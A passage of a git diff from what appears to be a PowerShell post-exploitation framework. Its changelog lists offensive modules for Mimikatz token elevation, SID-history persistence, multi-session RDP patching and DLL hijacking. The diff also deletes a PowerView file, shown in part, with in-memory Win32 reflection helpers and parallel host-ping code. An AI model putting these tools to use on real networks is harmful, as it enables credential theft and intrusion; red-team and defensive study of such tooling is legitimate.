diff --git a/changelog b/changelog index c7a81d698..a922a78fc 100644 --- a/changelog +++ b/changelog @@ -1,3 +1,29 @@ +10/26/2015 +---------- +-Fix for psinject bug due to lack of .NET 4.0 on target. +-Fix for bug in persistence/misc/add_sid_history + +10/23/15 +-Updated powerview.ps1 source to Version 2.0 +-Built a way to dynamically generate the stripped PowerView code for functions needed by PowerView modules (helpers -> generate_dynamic_powershell_script), and updated all relevant PowerView modules +-Renamed PowerView modules to better match PowerView 2.0 naming scheme and moved to situational_awareness/network/powerview/* +-Removed old split-out PowerView source files +-Removed situational_awareness/network/netview +-Combined stealth_userhunter into option for userhunter +-Added situational_awareness/network/get_forest_domain, situational_awareness/network/powerview/get_object_acl, situational_awareness/network/powerview/find_computer_field, situational_awareness/network/powerview/find_user_field, situational_awareness/network/powerview/get_ou, situational_awareness/network/powerview/get_group, situational_awareness/network/powerview/get_group_member, situational_awareness/network/powerview/get_gpo, situational_awareness/network/powerview/find_gpo_location, situational_awareness/network/powerview/find_gpo_computer_admin, situational_awareness/network/powerview/process_hunter, situational_awareness/network/powerview/find_foreign_group, situational_awareness/network/powerview/find_foreign_user +-renamed collection/filesearch to collection/find_interesting_file + + +9/21/2015 +--------- +-Fix for 'skywalker' file overwrite exploit on control server (thanks @zeroSteiner!) + +9/12/2015 +--------- +-Added credentials/mimikatz/mimitokens to take advantage of Mimikatz' token listing/elevation +-Added management/enable_multi_rdp to patch terminal services to allow mutiple connections +-Fixed bug in write_dllhijacker that prevented the dll from being written out + ============ 8/30/2015 - RELEASE 1.2 ============ @@ -88,4 +114,4 @@ 8/6/2015 ----------- -Initial release. All components released --Commited path fix to correct bug in certain modules +-Commited path fix to correct bug in certain modules \ No newline at end of file diff --git a/data/misc/ReflectivePick_x64_orig.dll b/data/misc/ReflectivePick_x64_orig.dll index 32e890a1a..d21719a8b 100755 Binary files a/data/misc/ReflectivePick_x64_orig.dll and b/data/misc/ReflectivePick_x64_orig.dll differ diff --git a/data/misc/ReflectivePick_x86_orig.dll b/data/misc/ReflectivePick_x86_orig.dll index 3523e9ec8..33b752285 100755 Binary files a/data/misc/ReflectivePick_x86_orig.dll and b/data/misc/ReflectivePick_x86_orig.dll differ diff --git a/data/module_source/collection/Invoke-FileFinder.ps1 b/data/module_source/collection/Invoke-FileFinder.ps1 deleted file mode 100644 index a745bbad5..000000000 --- a/data/module_source/collection/Invoke-FileFinder.ps1 +++ /dev/null @@ -1,2290 +0,0 @@ -#requires -version 2 - -<# - -Veil-PowerView v1.9 - -See README.md for more information. - -by @harmj0y -#> - - -# PSReflect code for Windows API access -# Author: @mattifestation -# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 -function New-InMemoryModule -{ -<# -.SYNOPSIS - -Creates an in-memory assembly and module - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -When defining custom enums, structs, and unmanaged functions, it is -necessary to associate to an assembly module. This helper function -creates an in-memory module that can be passed to the 'enum', -'struct', and Add-Win32Type functions. - -.PARAMETER ModuleName - -Specifies the desired name for the in-memory assembly and module. If -ModuleName is not provided, it will default to a GUID. - -.EXAMPLE - -$Module = New-InMemoryModule -ModuleName Win32 -#> - - Param - ( - [Parameter(Position = 0)] - [ValidateNotNullOrEmpty()] - [String] - $ModuleName = [Guid]::NewGuid().ToString() - ) - - $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies() - - foreach ($Assembly in $LoadedAssemblies) { - if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { - return $Assembly - } - } - - $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) - $Domain = [AppDomain]::CurrentDomain - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) - - return $ModuleBuilder -} - - -# A helper function used to reduce typing while defining function -# prototypes for Add-Win32Type. -function func -{ - Param - ( - [Parameter(Position = 0, Mandatory = $True)] - [String] - $DllName, - - [Parameter(Position = 1, Mandatory = $True)] - [string] - $FunctionName, - - [Parameter(Position = 2, Mandatory = $True)] - [Type] - $ReturnType, - - [Parameter(Position = 3)] - [Type[]] - $ParameterTypes, - - [Parameter(Position = 4)] - [Runtime.InteropServices.CallingConvention] - $NativeCallingConvention, - - [Parameter(Position = 5)] - [Runtime.InteropServices.CharSet] - $Charset, - - [Switch] - $SetLastError - ) - - $Properties = @{ - DllName = $DllName - FunctionName = $FunctionName - ReturnType = $ReturnType - } - - if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } - if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } - if ($Charset) { $Properties['Charset'] = $Charset } - if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } - - New-Object PSObject -Property $Properties -} - - -function Add-Win32Type -{ -<# -.SYNOPSIS - -Creates a .NET type for an unmanaged Win32 function. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: func - -.DESCRIPTION - -Add-Win32Type enables you to easily interact with unmanaged (i.e. -Win32 unmanaged) functions in PowerShell. After providing -Add-Win32Type with a function signature, a .NET type is created -using reflection (i.e. csc.exe is never called like with Add-Type). - -The 'func' helper function can be used to reduce typing when defining -multiple function definitions. - -.PARAMETER DllName - -The name of the DLL. - -.PARAMETER FunctionName - -The name of the target function. - -.PARAMETER ReturnType - -The return type of the function. - -.PARAMETER ParameterTypes - -The function parameters. - -.PARAMETER NativeCallingConvention - -Specifies the native calling convention of the function. Defaults to -stdcall. - -.PARAMETER Charset - -If you need to explicitly call an 'A' or 'W' Win32 function, you can -specify the character set. - -.PARAMETER SetLastError - -Indicates whether the callee calls the SetLastError Win32 API -function before returning from the attributed method. - -.PARAMETER Module - -The in-memory module that will host the functions. Use -New-InMemoryModule to define an in-memory module. - -.PARAMETER Namespace - -An optional namespace to prepend to the type. Add-Win32Type defaults -to a namespace consisting only of the name of the DLL. - -.EXAMPLE - -$Mod = New-InMemoryModule -ModuleName Win32 - -$FunctionDefinitions = @( - (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), - (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), - (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) -) - -$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' -$Kernel32 = $Types['kernel32'] -$Ntdll = $Types['ntdll'] -$Ntdll::RtlGetCurrentPeb() -$ntdllbase = $Kernel32::GetModuleHandle('ntdll') -$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') - -.NOTES - -Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 - -When defining multiple function prototypes, it is ideal to provide -Add-Win32Type with an array of function signatures. That way, they -are all incorporated into the same in-memory module. -#> - - [OutputType([Hashtable])] - Param( - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [String] - $DllName, - - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [String] - $FunctionName, - - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [Type] - $ReturnType, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Type[]] - $ParameterTypes, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Runtime.InteropServices.CallingConvention] - $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Runtime.InteropServices.CharSet] - $Charset = [Runtime.InteropServices.CharSet]::Auto, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Switch] - $SetLastError, - - [Parameter(Mandatory = $True)] - [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] - $Module, - - [ValidateNotNull()] - [String] - $Namespace = '' - ) - - BEGIN - { - $TypeHash = @{} - } - - PROCESS - { - if ($Module -is [Reflection.Assembly]) - { - if ($Namespace) - { - $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") - } - else - { - $TypeHash[$DllName] = $Module.GetType($DllName) - } - } - else - { - # Define one type for each DLL - if (!$TypeHash.ContainsKey($DllName)) - { - if ($Namespace) - { - $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') - } - else - { - $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') - } - } - - $Method = $TypeHash[$DllName].DefineMethod( - $FunctionName, - 'Public,Static,PinvokeImpl', - $ReturnType, - $ParameterTypes) - - # Make each ByRef parameter an Out parameter - $i = 1 - foreach($Parameter in $ParameterTypes) - { - if ($Parameter.IsByRef) - { - [void] $Method.DefineParameter($i, 'Out', $null) - } - - $i++ - } - - $DllImport = [Runtime.InteropServices.DllImportAttribute] - $SetLastErrorField = $DllImport.GetField('SetLastError') - $CallingConventionField = $DllImport.GetField('CallingConvention') - $CharsetField = $DllImport.GetField('CharSet') - if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } - - # Equivalent to C# version of [DllImport(DllName)] - $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) - $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, - $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), - [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), - [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) - - $Method.SetCustomAttribute($DllImportAttribute) - } - } - - END - { - if ($Module -is [Reflection.Assembly]) - { - return $TypeHash - } - - $ReturnTypes = @{} - - foreach ($Key in $TypeHash.Keys) - { - $Type = $TypeHash[$Key].CreateType() - - $ReturnTypes[$Key] = $Type - } - - return $ReturnTypes - } -} - - -function psenum -{ -<# -.SYNOPSIS - -Creates an in-memory enumeration for use in your PowerShell session. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -The 'psenum' function facilitates the creation of enums entirely in -memory using as close to a "C style" as PowerShell will allow. - -.PARAMETER Module - -The in-memory module that will host the enum. Use -New-InMemoryModule to define an in-memory module. - -.PARAMETER FullName - -The fully-qualified name of the enum. - -.PARAMETER Type - -The type of each enum element. - -.PARAMETER EnumElements - -A hashtable of enum elements. - -.PARAMETER Bitfield - -Specifies that the enum should be treated as a bitfield. - -.EXAMPLE - -$Mod = New-InMemoryModule -ModuleName Win32 - -$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ - UNKNOWN = 0 - NATIVE = 1 # Image doesn't require a subsystem. - WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. - WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. - OS2_CUI = 5 # Image runs in the OS/2 character subsystem. - POSIX_CUI = 7 # Image runs in the Posix character subsystem. - NATIVE_WINDOWS = 8 # Image is a native Win9x driver. - WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. - EFI_APPLICATION = 10 - EFI_BOOT_SERVICE_DRIVER = 11 - EFI_RUNTIME_DRIVER = 12 - EFI_ROM = 13 - XBOX = 14 - WINDOWS_BOOT_APPLICATION = 16 -} - -.NOTES - -PowerShell purists may disagree with the naming of this function but -again, this was developed in such a way so as to emulate a "C style" -definition as closely as possible. Sorry, I'm not going to name it -New-Enum. :P -#> - - [OutputType([Type])] - Param - ( - [Parameter(Position = 0, Mandatory = $True)] - [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] - $Module, - - [Parameter(Position = 1, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [String] - $FullName, - - [Parameter(Position = 2, Mandatory = $True)] - [Type] - $Type, - - [Parameter(Position = 3, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [Hashtable] - $EnumElements, - - [Switch] - $Bitfield - ) - - if ($Module -is [Reflection.Assembly]) - { - return ($Module.GetType($FullName)) - } - - $EnumType = $Type -as [Type] - - $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) - - if ($Bitfield) - { - $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) - $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) - $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) - } - - foreach ($Key in $EnumElements.Keys) - { - # Apply the specified enum type to each element - $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) - } - - $EnumBuilder.CreateType() -} - - -# A helper function used to reduce typing while defining struct -# fields. -function field -{ - Param - ( - [Parameter(Position = 0, Mandatory = $True)] - [UInt16] - $Position, - - [Parameter(Position = 1, Mandatory = $True)] - [Type] - $Type, - - [Parameter(Position = 2)] - [UInt16] - $Offset, - - [Object[]] - $MarshalAs - ) - - @{ - Position = $Position - Type = $Type -as [Type] - Offset = $Offset - MarshalAs = $MarshalAs - } -} - - -function struct -{ -<# -.SYNOPSIS - -Creates an in-memory struct for use in your PowerShell session. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: field - -.DESCRIPTION - -The 'struct' function facilitates the creation of structs entirely in -memory using as close to a "C style" as PowerShell will allow. Struct -fields are specified using a hashtable where each field of the struct -is comprosed of the order in which it should be defined, its .NET -type, and optionally, its offset and special marshaling attributes. - -One of the features of 'struct' is that after your struct is defined, -it will come with a built-in GetSize method as well as an explicit -converter so that you can easily cast an IntPtr to the struct without -relying upon calling SizeOf and/or PtrToStructure in the Marshal -class. - -.PARAMETER Module - -The in-memory module that will host the struct. Use -New-InMemoryModule to define an in-memory module. - -.PARAMETER FullName - -The fully-qualified name of the struct. - -.PARAMETER StructFields - -A hashtable of fields. Use the 'field' helper function to ease -defining each field. - -.PARAMETER PackingSize - -Specifies the memory alignment of fields. - -.PARAMETER ExplicitLayout - -Indicates that an explicit offset for each field will be specified. - -.EXAMPLE - -$Mod = New-InMemoryModule -ModuleName Win32 - -$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ - DOS_SIGNATURE = 0x5A4D - OS2_SIGNATURE = 0x454E - OS2_SIGNATURE_LE = 0x454C - VXD_SIGNATURE = 0x454C -} - -$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ - e_magic = field 0 $ImageDosSignature - e_cblp = field 1 UInt16 - e_cp = field 2 UInt16 - e_crlc = field 3 UInt16 - e_cparhdr = field 4 UInt16 - e_minalloc = field 5 UInt16 - e_maxalloc = field 6 UInt16 - e_ss = field 7 UInt16 - e_sp = field 8 UInt16 - e_csum = field 9 UInt16 - e_ip = field 10 UInt16 - e_cs = field 11 UInt16 - e_lfarlc = field 12 UInt16 - e_ovno = field 13 UInt16 - e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) - e_oemid = field 15 UInt16 - e_oeminfo = field 16 UInt16 - e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) - e_lfanew = field 18 Int32 -} - -# Example of using an explicit layout in order to create a union. -$TestUnion = struct $Mod TestUnion @{ - field1 = field 0 UInt32 0 - field2 = field 1 IntPtr 0 -} -ExplicitLayout - -.NOTES - -PowerShell purists may disagree with the naming of this function but -again, this was developed in such a way so as to emulate a "C style" -definition as closely as possible. Sorry, I'm not going to name it -New-Struct. :P -#> - - [OutputType([Type])] - Param - ( - [Parameter(Position = 1, Mandatory = $True)] - [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] - $Module, - - [Parameter(Position = 2, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [String] - $FullName, - - [Parameter(Position = 3, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [Hashtable] - $StructFields, - - [Reflection.Emit.PackingSize] - $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, - - [Switch] - $ExplicitLayout - ) - - if ($Module -is [Reflection.Assembly]) - { - return ($Module.GetType($FullName)) - } - - [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, - Class, - Public, - Sealed, - BeforeFieldInit' - - if ($ExplicitLayout) - { - $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout - } - else - { - $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout - } - - $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) - $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) - - $Fields = New-Object Hashtable[]($StructFields.Count) - - # Sort each field according to the orders specified - # Unfortunately, PSv2 doesn't have the luxury of the - # hashtable [Ordered] accelerator. - foreach ($Field in $StructFields.Keys) - { - $Index = $StructFields[$Field]['Position'] - $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} - } - - foreach ($Field in $Fields) - { - $FieldName = $Field['FieldName'] - $FieldProp = $Field['Properties'] - - $Offset = $FieldProp['Offset'] - $Type = $FieldProp['Type'] - $MarshalAs = $FieldProp['MarshalAs'] - - $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') - - if ($MarshalAs) - { - $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) - if ($MarshalAs[1]) - { - $Size = $MarshalAs[1] - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, - $UnmanagedType, $SizeConst, @($Size)) - } - else - { - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) - } - - $NewField.SetCustomAttribute($AttribBuilder) - } - - if ($ExplicitLayout) { $NewField.SetOffset($Offset) } - } - - # Make the struct aware of its own size. - # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! - $SizeMethod = $StructBuilder.DefineMethod('GetSize', - 'Public, Static', - [Int], - [Type[]] @()) - $ILGenerator = $SizeMethod.GetILGenerator() - # Thanks for the help, Jason Shirk! - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, - [Type].GetMethod('GetTypeFromHandle')) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, - [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) - - # Allow for explicit casting from an IntPtr - # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! - $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', - 'PrivateScope, Public, Static, HideBySig, SpecialName', - $StructBuilder, - [Type[]] @([IntPtr])) - $ILGenerator2 = $ImplicitConverter.GetILGenerator() - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, - [Type].GetMethod('GetTypeFromHandle')) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, - [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) - - $StructBuilder.CreateType() -} - - -function Get-ShuffledArray { - <# - .SYNOPSIS - Returns a randomly-shuffled version of a passed array. - - .DESCRIPTION - This function takes an array and returns a randomly-shuffled - version. - - .PARAMETER Array - The passed array to shuffle. - - .OUTPUTS - System.Array. The passed array but shuffled. - - .EXAMPLE - > $shuffled = Get-ShuffledArray $array - Get a shuffled version of $array. - - .LINK - http://sqlchow.wordpress.com/2013/03/04/shuffle-the-deck-using-powershell/ - #> - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] - [Array]$Array - ) - Begin{} - Process{ - $len = $Array.Length - while($len){ - $i = Get-Random ($len --) - $tmp = $Array[$len] - $Array[$len] = $Array[$i] - $Array[$i] = $tmp - } - $Array; - } -} - - - -function Get-HostIP { - <# - .SYNOPSIS - Takes a hostname and resolves it an IP. - - .DESCRIPTION - This function resolves a given hostename to its associated IPv4 - address. If no hostname is provided, it defaults to returning - the IP address of the local host the script be being run on. - - .OUTPUTS - System.String. The IPv4 address. - - .EXAMPLE - > Get-HostIP -hostname SERVER - Return the IPv4 address of 'SERVER' - #> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [string] - $hostname = '' - ) - process { - try{ - # get the IP resolution of this specified hostname - $results = @(([net.dns]::GetHostEntry($hostname)).AddressList) - - if ($results.Count -ne 0){ - foreach ($result in $results) { - # make sure the returned result is IPv4 - if ($result.AddressFamily -eq 'InterNetwork') { - $result.IPAddressToString - } - } - } - } - catch{ - Write-Verbose -Message 'Could not resolve host to an IP Address.' - } - } - end {} -} - - -# https://github.com/RamblingCookieMonster/PowerShell/blob/master/Invoke-Ping.ps1 -function Invoke-Ping { -<# -.SYNOPSIS - Ping systems in parallel - Author: RamblingCookieMonster - -.PARAMETER ComputerName - One or more computers to test - -.PARAMETER Timeout - Time in seconds before we attempt to dispose an individual query. Default is 20 - -.PARAMETER Throttle - Throttle query to this many parallel runspaces. Default is 100. - -.PARAMETER NoCloseOnTimeout - Do not dispose of timed out tasks or attempt to close the runspace if threads have timed out - - This will prevent the script from hanging in certain situations where threads become non-responsive, at the expense of leaking memory within the PowerShell host. - -.EXAMPLE - $Responding = $Computers | Invoke-Ping - - # Create a list of computers that successfully responded to Test-Connection - -.LINK - https://github.com/RamblingCookieMonster/PowerShell/blob/master/Invoke-Ping.ps1 - https://gallery.technet.microsoft.com/scriptcenter/Invoke-Ping-Test-in-b553242a -#> - - [cmdletbinding(DefaultParameterSetName='Ping')] - param( - [Parameter( ValueFromPipeline=$true, - ValueFromPipelineByPropertyName=$true, - Position=0)] - [string[]]$ComputerName, - - [int]$Timeout = 20, - - [int]$Throttle = 100, - - [switch]$NoCloseOnTimeout - ) - - Begin - { - $Quiet = $True - - #http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430 - function Invoke-Parallel { - [cmdletbinding(DefaultParameterSetName='ScriptBlock')] - Param ( - [Parameter(Mandatory=$false,position=0,ParameterSetName='ScriptBlock')] - [System.Management.Automation.ScriptBlock]$ScriptBlock, - - [Parameter(Mandatory=$false,ParameterSetName='ScriptFile')] - [ValidateScript({test-path $_ -pathtype leaf})] - $ScriptFile, - - [Parameter(Mandatory=$true,ValueFromPipeline=$true)] - [Alias('CN','__Server','IPAddress','Server','ComputerName')] - [PSObject]$InputObject, - - [PSObject]$Parameter, - - [switch]$ImportVariables, - - [switch]$ImportModules, - - [int]$Throttle = 20, - - [int]$SleepTimer = 200, - - [int]$RunspaceTimeout = 0, - - [switch]$NoCloseOnTimeout = $false, - - [int]$MaxQueue, - - [switch] $Quiet = $false - ) - - Begin { - - #No max queue specified? Estimate one. - #We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function - if( -not $PSBoundParameters.ContainsKey('MaxQueue') ) - { - if($RunspaceTimeout -ne 0){ $script:MaxQueue = $Throttle } - else{ $script:MaxQueue = $Throttle * 3 } - } - else - { - $script:MaxQueue = $MaxQueue - } - - Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue'" - - #If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items - if ($ImportVariables -or $ImportModules) - { - $StandardUserEnv = [powershell]::Create().addscript({ - - #Get modules and snapins in this clean runspace - $Modules = Get-Module | Select -ExpandProperty Name - $Snapins = Get-PSSnapin | Select -ExpandProperty Name - - #Get variables in this clean runspace - #Called last to get vars like $? into session - $Variables = Get-Variable | Select -ExpandProperty Name - - #Return a hashtable where we can access each. - @{ - Variables = $Variables - Modules = $Modules - Snapins = $Snapins - } - }).invoke()[0] - - if ($ImportVariables) { - #Exclude common parameters, bound parameters, and automatic variables - Function _temp {[cmdletbinding()] param() } - $VariablesToExclude = @( (Get-Command _temp | Select -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables ) - Write-Verbose "Excluding variables $( ($VariablesToExclude | sort ) -join ", ")" - - # we don't use 'Get-Variable -Exclude', because it uses regexps. - # One of the veriables that we pass is '$?'. - # There could be other variables with such problems. - # Scope 2 required if we move to a real module - $UserVariables = @( Get-Variable | Where { -not ($VariablesToExclude -contains $_.Name) } ) - Write-Verbose "Found variables to import: $( ($UserVariables | Select -expandproperty Name | Sort ) -join ", " | Out-String).`n" - - } - - if ($ImportModules) - { - $UserModules = @( Get-Module | Where {$StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue)} | Select -ExpandProperty Path ) - $UserSnapins = @( Get-PSSnapin | Select -ExpandProperty Name | Where {$StandardUserEnv.Snapins -notcontains $_ } ) - } - } - - #region functions - - Function Get-RunspaceData { - [cmdletbinding()] - param( [switch]$Wait ) - - #loop through runspaces - #if $wait is specified, keep looping until all complete - Do { - - #set more to false for tracking completion - $more = $false - - #run through each runspace. - Foreach($runspace in $runspaces) { - - #get the duration - inaccurate - $currentdate = Get-Date - $runtime = $currentdate - $runspace.startTime - $runMin = [math]::Round( $runtime.totalminutes ,2 ) - - #set up log object - $log = "" | select Date, Action, Runtime, Status, Details - $log.Action = "Removing:'$($runspace.object)'" - $log.Date = $currentdate - $log.Runtime = "$runMin minutes" - - #If runspace completed, end invoke, dispose, recycle, counter++ - If ($runspace.Runspace.isCompleted) { - - $script:completedCount++ - - #check if there were errors - if($runspace.powershell.Streams.Error.Count -gt 0) { - - #set the logging info and move the file to completed - $log.status = "CompletedWithErrors" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - foreach($ErrorRecord in $runspace.powershell.Streams.Error) { - Write-Error -ErrorRecord $ErrorRecord - } - } - else { - - #add logging details and cleanup - $log.status = "Completed" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - } - - #everything is logged, clean up the runspace - $runspace.powershell.EndInvoke($runspace.Runspace) - $runspace.powershell.dispose() - $runspace.Runspace = $null - $runspace.powershell = $null - - } - - #If runtime exceeds max, dispose the runspace - ElseIf ( $runspaceTimeout -ne 0 -and $runtime.totalseconds -gt $runspaceTimeout) { - - $script:completedCount++ - $timedOutTasks = $true - - #add logging details and cleanup - $log.status = "TimedOut" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - Write-Error "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | out-string)" - - #Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance - if (!$noCloseOnTimeout) { $runspace.powershell.dispose() } - $runspace.Runspace = $null - $runspace.powershell = $null - $completedCount++ - - } - - #If runspace isn't null set more to true - ElseIf ($runspace.Runspace -ne $null ) { - $log = $null - $more = $true - } - } - - #Clean out unused runspace jobs - $temphash = $runspaces.clone() - $temphash | Where { $_.runspace -eq $Null } | ForEach { - $Runspaces.remove($_) - } - - #sleep for a bit if we will loop again - if($PSBoundParameters['Wait']){ Start-Sleep -milliseconds $SleepTimer } - - #Loop again only if -wait parameter and there are more runspaces to process - } while ($more -and $PSBoundParameters['Wait']) - - #End of runspace function - } - - #endregion functions - - #region Init - - if($PSCmdlet.ParameterSetName -eq 'ScriptFile') - { - $ScriptBlock = [scriptblock]::Create( $(Get-Content $ScriptFile | out-string) ) - } - elseif($PSCmdlet.ParameterSetName -eq 'ScriptBlock') - { - #Start building parameter names for the param block - [string[]]$ParamsToAdd = '$_' - if( $PSBoundParameters.ContainsKey('Parameter') ) - { - $ParamsToAdd += '$Parameter' - } - - $UsingVariableData = $Null - - # This code enables $Using support through the AST. - # This is entirely from Boe Prox, and his https://github.com/proxb/PoshRSJob module; all credit to Boe! - - if($PSVersionTable.PSVersion.Major -gt 2) - { - #Extract using references - $UsingVariables = $ScriptBlock.ast.FindAll({$args[0] -is [System.Management.Automation.Language.UsingExpressionAst]},$True) - - If ($UsingVariables) - { - $List = New-Object 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]' - ForEach ($Ast in $UsingVariables) - { - [void]$list.Add($Ast.SubExpression) - } - - $UsingVar = $UsingVariables | Group Parent | ForEach {$_.Group | Select -First 1} - - #Extract the name, value, and create replacements for each - $UsingVariableData = ForEach ($Var in $UsingVar) { - Try - { - $Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop - $NewName = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) - [pscustomobject]@{ - Name = $Var.SubExpression.Extent.Text - Value = $Value.Value - NewName = $NewName - NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) - } - $ParamsToAdd += $NewName - } - Catch - { - Write-Error "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!" - } - } - - $NewParams = $UsingVariableData.NewName -join ', ' - $Tuple = [Tuple]::Create($list, $NewParams) - $bindingFlags = [Reflection.BindingFlags]"Default,NonPublic,Instance" - $GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl',$bindingFlags)) - - $StringScriptBlock = 